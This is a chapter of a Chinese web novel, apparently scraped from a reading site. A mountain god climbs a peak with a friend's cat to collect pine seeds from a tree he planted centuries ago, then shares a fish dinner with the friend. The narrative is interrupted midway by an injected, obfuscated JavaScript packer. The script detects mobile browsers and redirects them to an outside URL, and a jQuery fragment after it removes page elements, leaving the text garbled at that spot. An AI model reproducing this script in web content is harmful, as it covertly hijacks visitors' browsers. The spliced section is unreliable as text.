早上,应空图将雪芽菜一根根挂在院子里的晾晒杆上。
做盐菜,得将菜晒蔫吧了,才能汆烫。
他正一根根地放得认真,忽然听见“咔啦咔啦”的声音从院墙那边传来。
转头一看,一只粗壮的白爪子扒拉上了院墙,紧接着是另一只。
橘狸的耳朵尖先冒出来,底下是黄眼睛和粉鼻头。
因为爬墙太费力,尖尖的牙齿从它嘴巴里龇了出来,形成了一个龇牙咧嘴的表情。
应空图失笑,走过去院墙那边。
橘狸的后腿“咔咔”蹬了好几下墙,总算爬上了墙头,看到应空图,毫不犹豫地往他那边跳。
应空图伸出手臂接住了这只十多斤的大橘狸:“可以啊,这小两米的院墙也说爬就爬。”
橘狸在应空图怀里吐着舌头喘气,跟小狗一样,并不出声。
应空图将它放在地面上,又摸摸它的脑袋:“要喝水吗?给你倒水。”
安顿好橘狸,应空图重新洗了手,继续晒雪芽菜。
橘狸去喝了水,躺倒在应空图脚边,露出肚皮,看着他晾晒蔬菜。
应空图晾完雪芽菜,忍不住蹲下来摸了橘狸的肚子好几下。
连人带猫的早餐一起弄好吃完,应空图拿上背筐要出门。
橘狸一骨碌翻身站起来,紧紧跟在应空图脚边,明显要跟他一起出发。
应空图低头看猫。
橘狸仰着圆圆的小脑袋:“咪嗷。”
应空图蹲下来挠挠它下巴:“你想跟我一起去?”
橘狸轻巧一跳,直接跳进应空图的背筐里,继续仰着小脑袋看他:“咪。”
这猫长毛,蹲在背筐里,跟只抱窝的老母鸡一样,把整个背筐都占满了。
应空图笑着举起手机给它拍了一张,发给闻重山。
应空图:【飞镖今天也在我这。】
闻重山很快回复:【你要上山?】
应空图:【对,采点马尾松的种子。带它一起?】
【辛苦了。】
【不客气。回聊啊,趁还不晒,我先进山。】
应空图将手机揣回兜里,调整了下背筐,想把盖子盖上。
想了想,他回屋拿了块老布,叠了叠,垫在橘狸身下。
猫在背筐里挪来挪去,任应空图在它身下垫布,怎么也不肯跳出来。
应空图垫好了,轻轻弹了它脑门一下,把背筐的盖子盖上了。
竹编的背筐,哪怕盖上盖子,也不妨碍透气,但是能防止猫在半路跳出来摔伤。
今天要去夜航山。
几百年前,夜航山也是应空图的领地。
这座山的海拔有两千多米,地形复杂,生物多样,应空图还是刚苏醒的时候巡过一次,很久没去了。
应空图骑着摩托车,背着背筐,一路往夜航山下开。
一个多小时后,他出现在了夜航山山脚。
夜航山属于野山,也没有正式的路,不过有相对比较好爬的上山点。
应空图带着橘狸从东线开始爬。
橘狸不愿在他背筐里待着,挣扎着跳了下来,兴奋地在他脚边开始跑。
应空图先带着猫看了一下山谷某处的神龛,简单清扫过后,才带着猫再次往山上走。
猫累了,他就将猫放进背筐背着。
应空图一直没停下休息,再陡的山,他也能保持同样的速度。
因此,还没到中午,他们就走到了一棵巨大的马尾松下。
这棵马尾松独木成林,高接近五十米,张开的枝条十分浓密。
一般的马尾松枝条都比较稀疏,也长不到这么高。
这棵却是例外。
它浓绿翠绿得不像松树。
风吹来,马尾松顶端的枝叶摇晃着,仿佛在欢迎故人。
应空图用手摸着粗糙的树皮,仰头看马尾松:“你果然还在,长得不错啊。”
“沙沙。”
这棵马尾松由应空图三百多年前亲手种下。
当时他已经有一点育种的概念,这棵马尾松他选了最好的种子,种在向阳的坡面,又精心呵护了好几年,看着它自小茁壮成长。
三百多年过去,它果然还在,并且长得很好。
他今天来,就想再次采点种子,回去种在他新圈定出来,打算培育成母树林的树林中。
应空图放下背筐,准备爬树。
橘狸先他一步从背筐里跳出来,伸出锋利的爪子抓着粗糙的树干就打算往上爬。
它比一般的猫大得多,爬树也吃力,四爪挂在树上,扁扁的,像一块拍在树上的吐司。
应空图笑着在旁边看了一会儿。
橘狸爬了一段,爬不上去了,爪子勾到了树皮上,又下不来。
它用力伸爪子,试图解救自己,奈何一点都不奏效,只能转头朝应空图大声地:“喵!喵嗷!”
应空图眼里带着笑意,过去将它抱下来:“你还是别尝试了,乖乖在树下等我吧。”
橘狸才爬了短短一段距离就卡住了,看起来有点尴尬,蹲在地上一个劲舔爪子,并不和应空图对视。
应空图没再管它,整理好衣物,便抱着树往上爬。
他的动作非常矫健,活像一只云豹,三两下就爬到了树冠处。
马尾松的松塔分雌雄,结种子的雌松塔一般十一月成熟。
现在还远远不到雌松塔成熟的季节。
不过,松塔成熟后并不一定会掉落,现在也还有许多松塔挂在树梢。
应空图一个个松塔找过去。
马尾松的种子和红松、华山松、白皮松等松树的松子不同,它的松子类似翅果,非常轻薄,种仁没法食用。
它的种子成熟后,一般会随风飘到远方。
现在树上的松塔是很多,种子却不是很多。
应空图将残存着松塔摘下来扔到地上,摘到一定数量后,又爬下树,找松塔里面残留的种子。
这个过程,应空图重复了好几次。
一直到下午三点多,他才收集到一布袋种子。
这些种子特地挑选过,每一颗都饱满干爽,比一般的种子要大,一看就是能种出好母树的种子。
一般选马尾松的母树,会选15到40年生的母树,这棵三百多年树龄的老树显然不符合常规情况。
不过,山神亲自选出来的树种,精心培育出来的树,哪怕几百年过去,也比一般的树要好得多,用来培育新的母树,完全够用了。
应空图心情很愉快地收好布袋,抱起躺在树下呼呼大睡的橘狸,背着背篓下了山。
应空图回到家时,刚过下午五点。
他洗了澡,换了衣服,拿了个簸箕坐在院子里第二次选种。
同样是饱满硕大的种子,也有一些种出来的树苗比较好,有一些没那么好。
好的种子种到母树林里去,一般的种子撒在山上,同样不会浪费。
他正在选种,门被轻轻叩响。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326255|183241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叩得很有规律,显得很礼貌。
“闻重山?”应空图叫了一声。
“是我。”
应空图过去开门,门口身姿笔挺的闻重山眼里带着笑意。
“下午好,我来接猫。”闻重山拎着一条鱼,递给应空图,“我刚钓的,你尝尝。”
“大口鲇?”应空图看了一眼,有些惊奇,“好久没吃过这鱼了。”
闻重山:“野钓的鱼味道好一些。”
“这鱼的大小正好,肉质应该会很鲜嫩。”应空图拎着鱼站在门口,抬眼朝闻重山发出了邀请,“晚上留这吃饭?”
“这怎么好意思?”
“帮忙收拾鱼就行。我一个人也吃不了这两三斤重的鱼,何况昨天泡的鹿耳韭可以吃了,今天正好尝尝。”
于是,闻重山便留下来打下手并吃晚饭。
两人先把一部分鱼肉剔下来烫熟给猫吃——猫吃生肉也会感染寄生虫,闻重山向来只喂熟的。
剩下的鱼拿来红烧。
应空图在这里生活了几百年,做菜方式大多用传统的家烧法。
今天的鱼也是。
铁锅中倒入亮汪汪的菜籽油烧热,放一点盐巴,直接下入切得大块的鱼煎得两面焦香金黄。
中间放入老姜片,放入整粒的大蒜子。
全都煎香煎透了,再放入井水焖煮,起锅前放入自家的嫩青椒碎,增加清香的辣味。
他们今天的晚饭吃得很简单。
桌子上就一盆家烧鱼,一碟鹿耳韭泡菜,一盘炒菜薹。
两人端着刚煮出来的米饭,面对面地坐着,对视一眼,默契地开吃。
应空图先尝鱼肉。
桌上焖煮的鱼肉非常清甜,一点鱼腥味都没有,夹起来之前蘸点粘稠的汤汁,大块的蒜瓣肉化在唇齿之间,又鲜又香,还带点清新的辣味,非常美味。
应空图拿勺子舀了两勺鱼汤拌饭。
汤汁烧得很好,微微发黄,表面还有一层凝结出来的皮子,和饭一拌就鲜香四溢。
最妙的是,大口鲇没什么肌间刺,不用担心卡嗓子。
应空图给自己舀完,问闻重山:“你要吗?”
闻重山将饭碗挪到应空图手边:“谢谢。”
应空图便笑着给他也舀了两大勺汤汁:“配着泡鹿耳韭吃,一绝。”
鹿耳韭泡菜密封发酵了一天一夜,只有淡淡的酸香。
这个时候,最适合空口吃。
应空图吃了一口,眯起了眼睛。
鹿耳韭做的泡菜微酸微辣,清脆酸香,还有本身的清香,开胃解腻,和鱼汤拌饭一起吃,简直绝配。
换成其他任何一种泡菜,恐怕都没这种效果。
闻重山:“好吃。泡菜好吃,鱼汤和鱼肉也好吃。”
“是吧,正宗的山野风味。”应空图来了兴致,“山上的野湖里,也有一种很好吃的鱼,我说不上名字,下次捉到了,请你尝尝。”
“好啊,我先期待一下。”
“那等捉到了,我打电话叫你来吃。”
两人在蓝灰的暮色中吃晚饭。
应空图打开了院子的灯,风吹得正凉爽,却没有蚊虫。
猫已经吃完了,就趴在一边睡觉,风吹得它的长毛翻起来,看着非常惬意。
人吃饭,也吃得非常惬意。
美食,朋友,小猫,还有应空图最爱的山。
他自己都没注意到,整个傍晚,他眼里都带着笑意。